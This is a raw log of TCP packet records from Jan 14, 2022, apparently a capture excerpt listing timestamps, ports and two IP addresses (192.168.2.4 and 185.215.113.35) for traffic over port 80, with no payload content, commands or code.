Jan 14, 2022 12:30:21.206459045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.206557989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.206655979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.206756115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.206861019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.206949949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207052946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207144976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207247972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207350969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207448959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207541943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207643986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207736015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207837105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.207932949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208033085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208128929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208225965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208322048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208420992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208514929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208611012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208723068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208822012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.208915949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.209012032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.209110022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.209208012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.213112116 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.222796917 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.231944084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.231991053 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.232228041 CET	80	49931	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.232311964 CET	49931	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.233283043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.233459949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.233561993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.233670950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.233776093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.233886957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.233989954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.234086037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.234196901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.234297037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.234399080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.234503984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.234600067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.234700918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.234812975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.234915018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235033989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235122919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235220909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235337019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235438108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235542059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235641003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235738039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235851049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.235949039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236073017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236155987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236259937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236373901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236469030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236572981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236673117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236774921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236877918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.236984968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.237129927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.237191916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.237440109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.237459898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.237528086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.237611055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.237760067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.237869024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.237957001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238080025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238140106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238254070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238347054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238441944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238538980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238641977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238735914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238969088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.238991022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239029884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239115953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239211082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239316940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239407063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239497900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239589930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239703894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239798069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239886045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.239988089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.240082979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.240184069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.240267992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.242341995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.242480993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.242579937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.242676973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.242780924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.242877960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.242974043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243081093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243161917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243256092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243350983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243452072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243545055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243638992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243731976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243829966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.243927002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244024992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244119883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244215012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244339943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244410992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244504929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244601965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244693995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244788885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244887114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.244983912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.245121956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.245204926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.245306969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.245408058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.245522022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.245625973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.250953913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.251087904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.251194000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.251296997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.251399040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.251496077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.251595974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.251701117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.251802921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.251902103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252003908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252108097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252207041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252310991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252413034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252523899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252618074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252747059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252851963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.252952099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253055096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253150940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253254890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253356934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253453970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253556013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253657103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253761053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253865957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.253981113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254069090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254162073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254254103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254354000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254446030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254538059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254631996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254725933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254822969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.254914045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255017042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255105972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255199909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255296946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255409002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255508900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255608082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255726099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255825043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.255918026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256017923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256114960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256217957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256321907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256422997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256521940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256623030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256722927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256829023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.256927013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257026911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257128954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257230043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257330894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257431984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257529974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257632971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257740021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257853985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.257944107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258045912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258150101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258248091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258348942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258446932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258548975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258654118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258752108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258857965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.258955002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259057999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259156942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259258986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259390116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259465933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259562969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259669065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259769917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259872913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.259968996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.260073900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.260174990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.260277033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.260382891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.260483027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.260584116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.260699034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.260802984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.260904074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.261007071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.261106968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.261212111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.261311054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.261423111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.261518002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.261625051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.263735056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.263847113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.263950109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264051914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264158010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264244080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264334917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264430046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264520884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264668941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264760017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264861107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.264959097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.265057087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.265150070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.265243053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.265337944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.265439987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.265532970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.265631914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.268515110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.268593073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.268692017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.268814087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.268913031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.269021988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.269174099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.269278049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.269371033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.269464970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.269561052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.269725084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.269854069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.269956112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.270060062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.270174980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.270267963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.270375967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.270476103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.270584106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.270698071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.270802975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.270905972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271007061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271107912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271219969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271322966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271426916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271536112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271636009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271738052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271841049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.271953106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272062063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272161961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272274017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272370100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272483110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272582054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272685051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272788048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272893906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.272994041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.273102045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.273205996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.273313046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.273415089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.273520947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.273632050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.273739100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.273845911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.273956060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.274059057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.274168968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.274275064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.274379015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.274481058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.274585962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.274739027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.274883986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.274966002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.275074005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.275176048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.275285959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.275394917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.275501966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.275607109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.275707960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.275825977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.275928974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.276036024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.276140928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.276241064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.276346922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.276454926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.276559114 CET	49914	80	192.168.2.4	185.215.113.35
